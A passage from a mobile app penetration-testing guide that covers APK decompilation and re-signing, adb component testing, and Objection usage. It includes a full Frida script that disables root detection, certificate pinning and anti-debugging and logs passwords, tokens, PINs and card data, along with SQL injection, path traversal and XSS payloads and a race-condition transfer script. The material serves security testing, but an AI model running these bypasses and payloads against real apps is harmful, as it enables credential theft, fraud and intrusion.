adb shell su -c "/data/local/tmp/frida-server &"
adb forward tcp:27042 tcp:27042
echo "Frida server started and port forwarded"
EOF
chmod +x start_frida.sh
./start_frida.sh
Static Analysis#
APK Acquisition#
Method 1: Pull from Device
# List installed packages:
adb shell pm list packages | grep -i <app_name>
# Get APK path:
adb shell pm path <package_name>
# Example output: package:/data/app/com.example.app-1/base.apk
# Pull APK:
adb pull /data/app/com.example.app-1/base.apk ./app.apk
# For split APKs (Android App Bundles):
adb shell pm path <package_name>
# May show multiple APKs - pull all:
adb pull /data/app/com.example.app-1/base.apk
adb pull /data/app/com.example.app-1/split_config.arm64_v8a.apk
Method 2: APK Download Sites (For Testing)
# Popular APK sites for legitimate testing:
# - APKMirror (apkmirror.com)
# - APKPure (apkpure.com)
# - APKMonk (apkmonk.com)
# Note: Only download APKs for legitimate testing purposes
# Verify APK integrity with:
aapt dump badging app.apk | grep package
Method 3: Google Play Store via gplaycli
# Install gplaycli:
pip3 install gplaycli
# Configure Google account:
gplaycli -c # Follow configuration wizard
# Download APK:
gplaycli -d <package_name>
gplaycli -d com.example.app
# Download specific version:
gplaycli -d <package_name> -v <version_code>
Decompilation Tools#
JADX-GUI (Recommended for Interactive Analysis)
# Download from: https://github.com/skylot/jadx/releases
# Extract and run:
unzip jadx-1.4.7.zip
cd jadx-1.4.7
./bin/jadx-gui
# Command line usage:
./bin/jadx -d output_folder app.apk
# Advanced options:
./bin/jadx --show-bad-code --escape-unicode -d output_folder app.apk
APKTool (For Smali Analysis and Recompilation)
# Install APKTool:
# Download from: https://ibotpeaches.github.io/Apktool/
# Or install via package manager:
brew install apktool # macOS
sudo apt install apktool # Ubuntu
# Decompile APK:
apktool d app.apk -o app_decompiled
# Recompile after modifications:
apktool b app_decompiled -o app_modified.apk
# Force overwrite existing files:
apktool d -f app.apk -o app_decompiled
# Keep original filenames:
apktool d --keep-broken-res app.apk -o app_decompiled
dex2jar + JD-GUI (Alternative Approach)
# Download dex2jar from: https://github.com/pxb1988/dex2jar
# Convert APK to JAR:
d2j-dex2jar.sh app.apk
# This creates app-dex2jar.jar
# Open with JD-GUI for Java source viewing
# Download JD-GUI from: http://java-decompiler.github.io/
Additional Analysis Tools
# Bytecode Viewer (All-in-one decompiler):
# Download from: https://github.com/Konloch/bytecode-viewer
# Ghidra (For native library analysis):
# Download from: https://ghidra-sre.org/
# radare2 (Command-line reverse engineering):
sudo apt install radare2
r2 app.apk
Signing Recompiled APKs#
Method 1: uber-apk-signer (Easiest)
# Download from: https://github.com/patrickfav/uber-apk-signer/releases
wget https://github.com/patrickfav/uber-apk-signer/releases/download/v1.3.0/uber-apk-signer-1.3.0.jar
# Sign APK (automatically handles alignment and V1/V2 signing):
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk
# Sign with custom keystore:
java -jar uber-apk-signer-1.3.0.jar --apks app_modified.apk --ks my-keystore.jks --ksAlias my-alias
Method 2: Manual Signing Process
# Step 1: Create keystore (one-time setup):
keytool -genkey -v -keystore my-release-key.keystore \
-alias alias_name \
-keyalg RSA \
-keysize 2048 \
-validity 10000
# Step 2: Align APK (important for performance):
zipalign -v 4 app_modified.apk app_aligned.apk
# Step 3: Sign APK:
apksigner sign --ks my-release-key.keystore \
--ks-key-alias alias_name \
--out app_signed.apk \
app_aligned.apk
# Verify signature:
apksigner verify app_signed.apk
# Install signed APK:
adb install app_signed.apk
Method 3: jarsigner (Legacy V1 signing)
# Align first:
zipalign -v 4 app_modified.apk app_aligned.apk
# Sign with jarsigner:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 \
-keystore my-release-key.keystore \
app_aligned.apk alias_name
# Note: V1 signing only, not recommended for modern Android
AndroidManifest.xml Analysis#
Extract and Analyze Manifest:
# Using aapt (Android Asset Packaging Tool):
aapt dump xmltree app.apk AndroidManifest.xml
# Using aapt2 (newer version):
aapt2 dump xmltree app.apk --file AndroidManifest.xml
# Using APKTool (human-readable XML):
apktool d app.apk -o app_decompiled
cat app_decompiled/AndroidManifest.xml
# Extract specific information:
aapt dump badging app.apk | grep -E "package|uses-permission|activity|service"
Critical Security Analysis Points:
1. Dangerous Application Settings:
<!-- CRITICAL: Debug mode enabled in production -->
<application android:debuggable="true">
<!-- HIGH: Allows app data backup -->
<application android:allowBackup="true">
<!-- MEDIUM: Allows clear text traffic -->
<application android:usesCleartextTraffic="true">
<!-- Check for Network Security Config -->
<application android:networkSecurityConfig="@xml/network_security_config">
2. Exported Components Analysis:
# Find exported components:
grep -A 5 'android:exported="true"' app_decompiled/AndroidManifest.xml
# Activities with intent filters (implicitly exported on older Android):
grep -B 5 -A 10 '<intent-filter>' app_decompiled/AndroidManifest.xml
# Services, receivers, and providers:
grep -E '<(service|receiver|provider)' app_decompiled/AndroidManifest.xml
3. Permissions Analysis:
# Extract all permissions:
aapt dump permissions app.apk
# Dangerous permissions:
grep 'uses-permission' app_decompiled/AndroidManifest.xml | grep -E '(WRITE_EXTERNAL_STORAGE|READ_EXTERNAL_STORAGE|CAMERA|RECORD_AUDIO|ACCESS_FINE_LOCATION|READ_CONTACTS|SEND_SMS)'
# Custom permissions defined by app:
grep 'permission android:name' app_decompiled/AndroidManifest.xml
4. URL Schemes and Deep Links:
# Find custom URL schemes:
grep -A 10 -B 5 'android:scheme' app_decompiled/AndroidManifest.xml
# Extract schemes for testing:
grep 'android:scheme' app_decompiled/AndroidManifest.xml | sed 's/.*android:scheme="\([^"]*\)".*/\1/'
Testing Exported Components:
# Test exported activities:
adb shell am start -n <package_name>/<exported_activity>
adb shell am start -n com.example.app/.SecretActivity
# Test with extras:
adb shell am start -n <package_name>/<activity> --es "key" "value"
adb shell am start -n com.example.app/.WebViewActivity --es "url" "file:///etc/passwd"
# Test exported services:
adb shell am startservice -n <package_name>/<exported_service>
# Test broadcast receivers:
adb shell am broadcast -a <action> -n <package_name>/<receiver>
adb shell am broadcast -a com.example.app.SECRET_ACTION --es "data" "payload"
# Test content providers:
adb shell content query --uri "content://<authority>/<path>"
adb shell content query --uri "content://com.example.app.provider/users"
# SQL injection in content providers:
adb shell content query --uri "content://com.example.app.provider/users/1' UNION SELECT password FROM admin--"
Deep Link Testing:
# Basic deep link test:
adb shell am start -W -a android.intent.action.VIEW -d "<scheme>://host/path"
# Examples:
adb shell am start -W -a android.intent.action.VIEW -d "myapp://profile?user_id=123"
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=javascript:alert(1)"
adb shell am start -W -a android.intent.action.VIEW -d "myapp://webview?url=file:///etc/passwd"
# Test with malicious payloads:
adb shell am start -W -a android.intent.action.VIEW -d "myapp://pay?amount=1000000&account=attacker"
Code Review (Post-Decompilation)#
Automated Vulnerability Scanning:
# Using MobSF:
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# Upload APK at http://localhost:8000
# Using QARK (Quick Android Review Kit):
pip install qark
qark --java <decompiled_java_path> --report-type json
# Using AndroBugs:
git clone https://github.com/AndroBugs/AndroBugs_Framework.git
python AndroBugs_Framework/androbugs.py -f app.apk
Manual Code Analysis:
# Search for sensitive keywords:
grep -r -i -E "(password|secret|key|token|api_key|firebase|credential|auth)" app_decompiled/
# Hardcoded URLs and endpoints:
grep -r -E "https?://[^\"']+" app_decompiled/
# Crypto-related code:
grep -r -i -E "(encrypt|decrypt|cipher|aes|des|rsa|sha|md5)" app_decompiled/
# SQL queries (potential injection points):
grep -r -E "(SELECT|INSERT|UPDATE|DELETE|DROP)" app_decompiled/
# File operations:
grep -r -E "(FileInputStream|FileOutputStream|openFileOutput|openFileInput)" app_decompiled/
# WebView usage:
grep -r -E "(WebView|loadUrl|addJavascriptInterface)" app_decompiled/
# Network operations:
grep -r -E "(HttpURLConnection|OkHttp|Retrofit|Volley)" app_decompiled/
# Intent handling:
grep -r -E "(getIntent|putExtra|getStringExtra)" app_decompiled/
Specific Vulnerability Patterns:
1. Insecure Data Storage:
# SharedPreferences without encryption:
grep -r "getSharedPreferences\|SharedPreferences" app_decompiled/ | grep -v "EncryptedSharedPreferences"
# Internal storage issues:
grep -r "MODE_WORLD_READABLE\|MODE_WORLD_WRITABLE" app_decompiled/
# External storage usage:
grep -r "getExternalStorageDirectory\|getExternalFilesDir" app_decompiled/
# Database operations:
grep -r "SQLiteDatabase\|execSQL\|rawQuery" app_decompiled/
2. Cryptographic Issues:
# Weak algorithms:
grep -r -E "(DES|RC4|MD5|SHA1)" app_decompiled/
# Hardcoded keys/IVs:
grep -r -E "new SecretKeySpec\|IvParameterSpec" app_decompiled/
# ECB mode (insecure):
grep -r "ECB" app_decompiled/
# Insecure random:
grep -r "Random\|SecureRandom" app_decompiled/
3. Network Security:
# SSL/TLS issues:
grep -r -E "(TrustManager|HostnameVerifier|SSLSocketFactory)" app_decompiled/
# Certificate pinning bypasses:
grep -r -E "(checkServerTrusted|ALLOW_ALL_HOSTNAME_VERIFIER)" app_decompiled/
# HTTP usage:
grep -r "http://" app_decompiled/ | grep -v "https://"
4. WebView Vulnerabilities:
# JavaScript enabled:
grep -r "setJavaScriptEnabled(true)" app_decompiled/
# JavaScript interface:
grep -r "addJavascriptInterface" app_decompiled/
# File access enabled:
grep -r -E "(setAllowFileAccess|setAllowFileAccessFromFileURLs|setAllowUniversalAccessFromFileURLs)" app_decompiled/
# Mixed content:
grep -r "setMixedContentMode" app_decompiled/
Dynamic Analysis#
Objection Usage#
Installation and Basic Usage:
# Install objection:
pip3 install objection
# Connect to application:
objection -g <package_name> explore
# Spawn application and connect:
objection -g <package_name> explore --startup-command "android sslpinning disable"
# Connect via network:
objection -N -h <DEVICE_IP> -g <package_name> explore
# Batch commands:
objection -g <package_name> run "android sslpinning disable" "android root disable"
Essential Objection Commands:
Security Bypass:
# Disable SSL pinning:
android sslpinning disable
android sslpinning disable --quiet
# Disable root detection:
android root disable
android root simulate disable
# List current SSL pinning status:
android sslpinning list_hooks
Data Extraction:
# SharedPreferences:
android preferences list
android preferences get <filename>
android preferences get com.example.app_preferences
# SQLite databases:
android sqlite list
android sqlite connect <database_path>
android sqlite connect /data/data/com.example.app/databases/users.db
# In SQLite console:
sqlite> .tables
sqlite> .schema users
sqlite> SELECT * FROM users;
sqlite> SELECT username, password FROM users WHERE admin=1;
# Clipboard:
android clipboard get
android clipboard set "test data"
# Intents and activities:
android intent list activities
android intent start <activity_name>
android intent start_activity com.example.app.SecretActivity
# File system:
android filesystem ls /data/data/com.example.app/
android filesystem cat /data/data/com.example.app/shared_prefs/settings.xml
android filesystem download <remote_path> <local_path>
android filesystem upload <local_path> <remote_path>
Class and Method Hooking:
# Search for classes:
android hooking search classes <keyword>
android hooking search classes login
android hooking search classes crypto
android hooking search classes http
# List class methods:
android hooking list class_methods <class_name>
android hooking list class_methods com.example.app.LoginManager
# Watch method calls:
android hooking watch class_method <class_name>.<method_name> --dump-args --dump-return
android hooking watch class_method com.example.app.LoginManager.authenticateUser --dump-args
# Set return value:
android hooking set return_value <class_name>.<method_name> <value>
android hooking set return_value com.example.app.AuthManager.isAuthenticated true
android hooking set return_value com.example.app.RootDetector.isRooted false
# Generate class methods:
android hooking generate simple <class_name>
# Watch all methods in class:
android hooking watch class <class_name>
android hooking watch class com.example.app.CryptoManager
Memory and Heap Analysis:
# Memory information:
memory list modules
memory list exports <module_name>
memory dump all <output_file>
# Heap operations:
android heap search instances <class_name>
android heap evaluate <javascript_code>
# Example: Find all instances of a class
android heap search instances com.example.app.User
Advanced Frida Scripting for Android#
Comprehensive Android Security Bypass Script:
// android_security_bypass.js
Java.perform(function() {
console.log("[+] Android Security Bypass Script Loading...");
// === Root Detection Bypass ===
bypassRootDetection();
// === SSL Pinning Bypass ===
bypassSSLPinning();
// === Anti-Debugging Bypass ===
bypassAntiDebugging();
// === Data Interception ===
interceptSensitiveData();
console.log("[+] All hooks installed successfully!");
});
function bypassRootDetection() {
console.log("[*] Installing root detection bypasses...");
// Common root detection methods
var RootBeer = null;
try {
RootBeer = Java.use("com.scottyab.rootbeer.RootBeer");
RootBeer.isRooted.implementation = function() {
console.log("[*] RootBeer.isRooted() bypassed");
return false;
};
} catch (e) {}
// Runtime.exec() bypass
var Runtime = Java.use("java.lang.Runtime");
Runtime.exec.overload('java.lang.String').implementation = function(command) {
if (command.includes("su") || command.includes("which su") || command.includes("busybox")) {
console.log("[*] Blocked Runtime.exec: " + command);
throw Java.use("java.io.IOException").$new("Command not found");
}
return this.exec(command);
};
Runtime.exec.overload('[Ljava.lang.String;').implementation = function(cmdArray) {
var command = cmdArray.join(" ");
if (command.includes("su") || command.includes("busybox")) {
console.log("[*] Blocked Runtime.exec array: " + command);
throw Java.use("java.io.IOException").$new("Command not found");
}
return this.exec(cmdArray);
};
// File.exists() bypass for common root files
var File = Java.use("java.io.File");
var rootFiles = [
"/system/app/Superuser.apk",
"/sbin/su",
"/system/bin/su",
"/system/xbin/su",
"/data/local/xbin/su",
"/data/local/bin/su",
"/system/sd/xbin/su",
"/system/bin/failsafe/su",
"/data/local/su",
"/su/bin/su",
"/system/bin/.ext/.su",
"/system/usr/we-need-root/su-backup",
"/system/xbin/daemonsu",
"/system/etc/init.d/99SuperSUDaemon",
"/dev/com.koushikdutta.superuser.daemon/",
"/system/app/Kinguser.apk",
"/system/bin/ku.sud",
"/system/xbin/ku.sud",
"/data/data/com.noshufou.android.su",
"/data/data/com.kingroot.kinguser",
"/data/data/com.kingo.root",
"/data/data/com.smedialink.oneclickroot",
"/data/data/com.zhiqupk.root.global",
"/data/data/com.alephzain.framaroot"
];
File.exists.implementation = function() {
var path = this.getAbsolutePath();
if (rootFiles.includes(path)) {
console.log("[*] Blocked root file check: " + path);
return false;
}
return this.exists();
};
// Build.TAGS bypass
try {
var Build = Java.use("android.os.Build");
Build.TAGS.value = "release-keys";
console.log("[*] Build.TAGS set to release-keys");
} catch (e) {}
// System property checks
var SystemProperties = null;
try {
SystemProperties = Java.use("android.os.SystemProperties");
SystemProperties.get.overload('java.lang.String').implementation = function(key) {
if (key.includes("ro.debuggable") || key.includes("ro.secure")) {
console.log("[*] SystemProperties.get blocked: " + key);
return "0";
}
if (key.includes("ro.build.tags")) {
return "release-keys";
}
return this.get(key);
};
} catch (e) {}
}
function bypassSSLPinning() {
console.log("[*] Installing SSL pinning bypasses...");
// === TrustManager Bypass ===
var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
var SSLContext = Java.use('javax.net.ssl.SSLContext');
// Create custom TrustManager
var TrustManager = Java.registerClass({
name: 'org.example.TrustManager',
implements: [X509TrustManager],
methods: {
checkClientTrusted: function(chain, authType) {
console.log('[*] checkClientTrusted bypassed');
},
checkServerTrusted: function(chain, authType) {
console.log('[*] checkServerTrusted bypassed');
},
getAcceptedIssuers: function() {
return [];
}
}
});
// Hook SSLContext.init()
SSLContext.init.implementation = function(keyManagers, trustManagers, secureRandom) {
console.log('[*] SSLContext.init() bypassed');
var customTrustManagers = [TrustManager.$new()];
return this.init(keyManagers, customTrustManagers, secureRandom);
};
// === OkHttp3 Certificate Pinner Bypass ===
try {
var CertificatePinner = Java.use('okhttp3.CertificatePinner');
CertificatePinner.check.overload('java.lang.String', 'java.util.List').implementation = function() {
console.log('[*] OkHttp3 CertificatePinner.check() bypassed');
};
var Builder = Java.use('okhttp3.CertificatePinner$Builder');
Builder.add.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(pattern, pins) {
console.log('[*] OkHttp3 CertificatePinner.Builder.add() bypassed');
return this;
};
} catch (e) {
console.log('[!] OkHttp3 not found: ' + e.message);
}
// === OkHttp2 Bypass ===
try {
var CertificatePinner2 = Java.use('com.squareup.okhttp.CertificatePinner');
CertificatePinner2.check.overload('java.lang.String', 'java.security.cert.Certificate').implementation = function() {
console.log('[*] OkHttp2 CertificatePinner.check() bypassed');
};
} catch (e) {}
// === Apache HttpClient Bypass ===
try {
var DefaultHttpClient = Java.use('org.apache.http.impl.client.DefaultHttpClient');
DefaultHttpClient.execute.overload('org.apache.http.client.methods.HttpUriRequest').implementation = function(request) {
console.log('[*] Apache HttpClient request intercepted');
return this.execute(request);
};
} catch (e) {}
// === WebView SSL Error Bypass ===
try {
var WebViewClient = Java.use('android.webkit.WebViewClient');
WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
console.log('[*] WebView SSL error bypassed');
handler.proceed();
};
} catch (e) {}
}
function bypassAntiDebugging() {
console.log("[*] Installing anti-debugging bypasses...");
// Debug flag bypass
try {
var ApplicationInfo = Java.use('android.content.pm.ApplicationInfo');
ApplicationInfo.FLAG_DEBUGGABLE.value = 0;
} catch (e) {}
// Debug.isDebuggerConnected() bypass
try {
var Debug = Java.use('android.os.Debug');
Debug.isDebuggerConnected.implementation = function() {
console.log('[*] Debug.isDebuggerConnected() bypassed');
return false;
};
} catch (e) {}
// TracerPid detection bypass
var File = Java.use('java.io.File');
var BufferedReader = Java.use('java.io.BufferedReader');
var FileReader = Java.use('java.io.FileReader');
File.$new.overload('java.lang.String').implementation = function(path) {
if (path === '/proc/self/status') {
console.log('[*] Blocked access to /proc/self/status');
return File.$new('/dev/null');
}
return this.$new(path);
};
}
function interceptSensitiveData() {
console.log("[*] Installing sensitive data hooks...");
// SharedPreferences interception
var SharedPreferences = Java.use('android.content.SharedPreferences');
var Editor = Java.use('android.content.SharedPreferences$Editor');
Editor.putString.implementation = function(key, value) {
if (key.toLowerCase().includes('password') ||
key.toLowerCase().includes('token') ||
key.toLowerCase().includes('secret') ||
key.toLowerCase().includes('key')) {
console.log('[*] SharedPreferences - Key: ' + key + ', Value: ' + value);
}
return this.putString(key, value);
};
SharedPreferences.getString.implementation = function(key, defValue) {
var result = this.getString(key, defValue);
if (key.toLowerCase().includes('password') ||
key.toLowerCase().includes('token') ||
key.toLowerCase().includes('secret')) {
console.log('[*] SharedPreferences GET - Key: ' + key + ', Value: ' + result);
}
return result;
};
// SQLite operations
try {
var SQLiteDatabase = Java.use('android.database.sqlite.SQLiteDatabase');
SQLiteDatabase.execSQL.overload('java.lang.String').implementation = function(sql) {
console.log('[*] SQLite execSQL: ' + sql);
return this.execSQL(sql);
};
SQLiteDatabase.rawQuery.overload('java.lang.String', '[Ljava.lang.String;').implementation = function(sql, selectionArgs) {
console.log('[*] SQLite rawQuery: ' + sql);
if (selectionArgs) {
console.log('[*] Selection Args: ' + selectionArgs.toString());
}
return this.rawQuery(sql, selectionArgs);
};
} catch (e) {}
// HTTP request/response interception
interceptNetworkTraffic();
// Clipboard monitoring
try {
var ClipboardManager = Java.use('android.content.ClipboardManager');
ClipboardManager.setPrimaryClip.implementation = function(clip) {
console.log('[*] Clipboard data set: ' + clip.toString());
return this.setPrimaryClip(clip);
};
} catch (e) {}
// Intent data interception
var Intent = Java.use('android.content.Intent');
Intent.putExtra.overload('java.lang.String', 'java.lang.String').implementation = function(key, value) {
console.log('[*] Intent putExtra - Key: ' + key + ', Value: ' + value);
return this.putExtra(key, value);
};
Intent.getStringExtra.implementation = function(key) {
var result = this.getStringExtra(key);
console.log('[*] Intent getStringExtra - Key: ' + key + ', Value: ' + result);
return result;
};
}
function interceptNetworkTraffic() {
console.log("[*] Installing network traffic hooks...");
// OkHttp3 Request/Response interception
try {
var Request = Java.use('okhttp3.Request');
var RequestBody = Java.use('okhttp3.RequestBody');
var Response = Java.use('okhttp3.Response');
var ResponseBody = Java.use('okhttp3.ResponseBody');
// Intercept requests
var OkHttpClient = Java.use('okhttp3.OkHttpClient');
OkHttpClient.newCall.implementation = function(request) {
console.log('[*] OkHttp3 Request: ' + request.url().toString());
console.log('[*] Method: ' + request.method());
var headers = request.headers();
var headerNames = headers.names().toArray();
for (var i = 0; i < headerNames.length; i++) {
console.log('[*] Header: ' + headerNames[i] + ' = ' + headers.get(headerNames[i]));
}
var body = request.body();
if (body) {
try {
var buffer = Java.use('okio.Buffer').$new();
body.writeTo(buffer);
console.log('[*] Request Body: ' + buffer.readUtf8());
} catch (e) {
console.log('[*] Could not read request body: ' + e.message);
}
}
return this.newCall(request);
};
} catch (e) {
console.log('[!] OkHttp3 not available: ' + e.message);
}
// HttpURLConnection interception
try {
var HttpURLConnection = Java.use('java.net.HttpURLConnection');
var URL = Java.use('java.net.URL');
HttpURLConnection.getInputStream.implementation = function() {
console.log('[*] HttpURLConnection GET: ' + this.getURL().toString());
return this.getInputStream();
};
HttpURLConnection.getOutputStream.implementation = function() {
console.log('[*] HttpURLConnection POST: ' + this.getURL().toString());
return this.getOutputStream();
};
} catch (e) {}
}
// Hook WebView for potential XSS/URL manipulation
try {
var WebView = Java.use('android.webkit.WebView');
WebView.loadUrl.overload('java.lang.String').implementation = function(url) {
console.log('[*] WebView loadUrl: ' + url);
return this.loadUrl(url);
};
WebView.loadData.overload('java.lang.String', 'java.lang.String', 'java.lang.String').implementation = function(data, mimeType, encoding) {
console.log('[*] WebView loadData: ' + data.substring(0, 200) + '...');
return this.loadData(data, mimeType, encoding);
};
WebView.addJavascriptInterface.implementation = function(obj, name) {
console.log('[*] WebView addJavascriptInterface: ' + name);
return this.addJavascriptInterface(obj, name);
};
} catch (e) {}
// Initialize the script
console.log("[+] Android Security Bypass Script Loaded Successfully!");
Usage:
# Save as android_security_bypass.js
# Run with target app:
frida -U -f <package_name> -l android_security_bypass.js --no-pause
# Or attach to running app:
frida -U <package_name> -l android_security_bypass.js
# For specific targeting:
frida -U -f com.example.app -l android_security_bypass.js --no-pause
Runtime Application Testing#
Dynamic Testing with ADB:
# Monitor logs in real-time:
adb logcat | grep <package_name>
# Monitor specific log levels:
adb logcat *:E # Errors only
adb logcat *:W # Warnings and above
adb logcat | grep -E "(password|token|secret|key)"
# Monitor file system access:
adb shell strace -f -e trace=openat -p $(adb shell pidof <package_name>)
# Monitor network connections:
adb shell netstat -an | grep <package_name>
adb shell ss -tulpn | grep <package_name>
Memory Analysis:
# Dump memory of running process:
adb shell su -c "cat /proc/$(pidof <package_name>)/maps"
# Create memory dump:
adb shell su -c "gcore $(pidof <package_name>)"
# Search for strings in memory:
adb shell su -c "strings /proc/$(pidof <package_name>)/mem | grep -E '(password|token|key)'"
Real-time Data Monitoring:
# Monitor SharedPreferences changes:
adb shell su -c "inotifywait -m /data/data/<package_name>/shared_prefs/"
# Monitor database changes:
adb shell su -c "inotifywait -m /data/data/<package_name>/databases/"
# Monitor file system writes:
adb shell su -c "inotifywait -m -r /data/data/<package_name>/"
General Mobile Security Considerations#
OWASP Mobile Top 10 (2024)#
M1: Improper Credential Usage
- Hardcoded credentials in code
- Weak credential storage
- Credential transmission issues
M2: Inadequate Supply Chain Security
- Third-party library vulnerabilities
- Unverified software components
- Compromised development tools
M3: Insecure Authentication/Authorization
- Weak authentication schemes
- Poor session management
- Inadequate authorization checks
M4: Insufficient Input/Output Validation
- SQL injection vulnerabilities
- Cross-site scripting (XSS)
- Path traversal attacks
M5: Insecure Communication
- Unencrypted data transmission
- Weak TLS implementations
- Certificate validation issues
M6: Inadequate Privacy Controls
- Excessive data collection
- Poor privacy policy implementation
- Inadequate user consent
M7: Insufficient Binary Protections
- Lack of code obfuscation
- Missing anti-tampering measures
- Weak reverse engineering protections
M8: Security Misconfiguration
- Insecure default settings
- Improper permissions
- Debug features in production
M9: Insecure Data Storage
- Unencrypted local storage
- Inadequate keychain usage
- Poor database security
M10: Insufficient Cryptography
- Weak encryption algorithms
- Poor key management
- Cryptographic implementation flaws
Cross-Platform Testing Tools#
Static Analysis Tools:
# MobSF (supports both iOS and Android):
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
# QARK (Android focused):
pip install qark
qark --apk app.apk
# Semgrep (multi-language):
pip install semgrep
semgrep --config=auto /path/to/source
# CodeQL (GitHub's semantic analysis):
codeql database create mobile-db --language=java --source-root=/path/to/source
codeql database analyze mobile-db --format=json --output=results.json
Dynamic Analysis Tools:
# Frida (cross-platform):
pip install frida-tools
# Objection (cross-platform):
pip install objection
# Genymotion (Android emulation):
# Download from: https://www.genymotion.com/
# Corellium (cloud-based iOS/Android):
# Commercial solution: https://corellium.com/
Network Analysis:
# mitmproxy (alternative to Burp):
pip install mitmproxy
mitmproxy -p 8080
# Charles Proxy:
# Download from: https://www.charlesproxy.com/
# Wireshark for packet analysis:
sudo apt install wireshark
Advanced Techniques & Payloads#
Binary Patching#
Android APK Patching:
# Patch smali code example:
# 1. Decompile APK
apktool d app.apk -o app_decompiled
# 2. Locate method to patch (e.g., root detection)
grep -r "isRooted" app_decompiled/smali/
# 3. Edit smali file to change return value:
# Change: return v0
# To: const/4 v0, 0x0
# return v0
# 4. Recompile and sign
apktool b app_decompiled -o app_patched.apk
java -jar uber-apk-signer-1.3.0.jar --apks app_patched.apk
iOS Binary Patching:
# Using Hopper Disassembler or Ghidra:
# 1. Load binary in disassembler
# 2. Find target function (e.g., jailbreak detection)
# 3. Patch assembly to return desired value
# 4. Save patched binary
# 5. Re-sign IPA with new binary
# Using class-dump for header analysis:
class-dump /path/to/app.app/app > headers.h
Custom Frida Scripts for Specific Scenarios#
Banking App Security Testing:
// banking_security_test.js
Java.perform(function() {
// Hook PIN validation
try {
var PinManager = Java.use("com.bank.security.PinManager");
PinManager.validatePin.implementation = function(pin) {
console.log("[*] PIN entered: " + pin);
var result = this.validatePin(pin);
console.log("[*] PIN validation result: " + result);
return result;
};
} catch (e) {}
// Hook transaction methods
try {
var TransactionManager = Java.use("com.bank.core.TransactionManager");
TransactionManager.transferMoney.implementation = function(fromAccount, toAccount, amount) {
console.log("[*] Money transfer - From: " + fromAccount + ", To: " + toAccount + ", Amount: " + amount);
return this.transferMoney(fromAccount, toAccount, amount);
};
} catch (e) {}
// Hook biometric authentication
try {
var BiometricManager = Java.use("androidx.biometric.BiometricManager");
BiometricManager.authenticate.implementation = function() {
console.log("[*] Biometric authentication bypassed");
// Could force success here for testing
return this.authenticate();
};
} catch (e) {}
});
E-commerce App Testing:
// ecommerce_test.js
Java.perform(function() {
// Hook price calculations
try {
var PriceCalculator = Java.use("com.shop.core.PriceCalculator");
PriceCalculator.calculateTotal.implementation = function(items, discounts) {
console.log("[*] Calculating price for items: " + items.toString());
var result = this.calculateTotal(items, discounts);
console.log("[*] Total price: " + result);
// Test: Try to manipulate price
// return Java.use("java.math.BigDecimal").$new("0.01");
return result;
};
} catch (e) {}
// Hook payment processing
try {
var PaymentProcessor = Java.use("com.shop.payment.PaymentProcessor");
PaymentProcessor.processPayment.implementation = function(amount, cardDetails) {
console.log("[*] Processing payment - Amount: " + amount);
console.log("[*] Card details: " + cardDetails.toString());
return this.processPayment(amount, cardDetails);
};
} catch (e) {}
});
API Security Testing#
Automated API Testing:
# Extract API endpoints from app:
grep -r -E "https?://[^\"']+" app_decompiled/ | grep -E "api|service" > endpoints.txt
# Test with ffuf:
ffuf -w endpoints.txt -u FUZZ -mc 200,201,202,204,301,302,307,401,403
# Test with nuclei:
nuclei -l endpoints.txt -t /path/to/nuclei-templates/
# Custom API testing script:
cat > api_test.py << 'EOF'
import requests
import json
def test_api_endpoint(base_url, endpoints):
for endpoint in endpoints:
# Test without authentication
r = requests.get(f"{base_url}{endpoint}")
print(f"GET {endpoint}: {r.status_code}")
# Test with common payloads
payloads = ["'", "1' OR '1'='1", "../../../etc/passwd", "<script>alert(1)</script>"]
for payload in payloads:
r = requests.get(f"{base_url}{endpoint}?id={payload}")
if r.status_code != 400:
print(f"Potential vulnerability: {endpoint} with payload {payload}")
# Usage
endpoints = ["/api/users", "/api/transactions", "/api/profile"]
test_api_endpoint("https://api.example.com", endpoints)
EOF
Business Logic Vulnerability Testing#
Common Business Logic Tests:
# Race condition testing:
cat > race_condition_test.py << 'EOF'
import requests
import threading
import time
def make_request(url, data):
return requests.post(url, json=data)
def race_condition_test():
# Test concurrent requests to exploit race conditions
url = "https://api.example.com/transfer"
data = {"from": "account1", "to": "account2", "amount": 100}
threads = []
for i in range(10): # Send 10 concurrent requests
thread = threading.Thread(target=make_request, args=(url, data))
threads.append(thread)
# Start all threads simultaneously
for thread in threads:
thread.start()
for thread in threads:
thread.join()
race_condition_test()
EOF
# Parameter manipulation testing:
# Original request: {"user_id": 123, "amount": 100}
# Test variations:
# {"user_id": 456, "amount": 100} # Horizontal privilege escalation
# {"user_id": 123, "amount": -100} # Negative amount
# {"user_id": 123, "amount": 999999} # Large amount
# {"admin": true, "user_id": 123, "amount": 100} # Additional parameters
Workflow Bypass Testing:
# Multi-step process bypass example:
# Normal flow: Step1 -> Step2 -> Step3 -> Complete
# Test: Step1 -> Complete (bypass Step2 and Step3)
# Example API calls:
curl -X POST https://api.example.com/purchase/step1 -d '{"item":"laptop"}'
# Skip step2 and step3
curl -X POST https://api.example.com/purchase/complete -d '{"payment_confirmed":true}'
Automated Testing Frameworks#
Mobile-Specific Testing Frameworks:
# Appium for automated UI testing:
pip install Appium-Python-Client
# Setup Appium server and write UI test scripts
# Calabash (cross-platform):
gem install calabash-cucumber
gem install calabash-android
# Detox (React Native):
npm install -g detox-cli
# XCUITest (iOS native):
# Use Xcode to create UI test targets
Custom Testing Framework:
# mobile_security_tester.py
import subprocess
import json
import requests
from pathlib import Path
class MobileSecurityTester:
def __init__(self, app_path, device_id=None):
self.app_path = app_path
self.device_id = device_id
self.results = {}
def static_analysis(self):
"""Run static analysis checks"""
print("[*] Running static analysis...")
# Extract APK/IPA
if self.app_path.endswith('.apk'):
self.android_static_analysis()
elif self.app_path.endswith('.ipa'):
self.ios_static_analysis()
def android_static_analysis(self):
"""Android-specific static analysis"""
# Decompile APK
subprocess.run(['apktool', 'd', self.app_path, '-o', 'app_decompiled'])
# Check for dangerous permissions
manifest_path = Path('app_decompiled/AndroidManifest.xml')
if manifest_path.exists():
with open(manifest_path) as f:
manifest = f.read()
dangerous_perms = [
